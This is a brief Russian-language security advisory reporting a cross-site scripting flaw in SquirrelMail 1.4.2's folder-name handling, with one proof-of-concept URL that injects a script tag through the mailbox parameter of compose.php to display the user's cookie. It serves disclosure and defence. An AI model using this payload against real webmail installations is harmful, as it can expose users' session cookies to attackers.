Программа: SquirrelMail 1.4.2 

Уязвимость обнаружена в SquirrelMail в обработке имен папок. Удаленный пользователь может выполнить XSS нападение. 

Пример: 

http://[target]/mail/src/compose.php?mailbox="> <script>window.alert(document.cookie)
</script>



Оставить мнение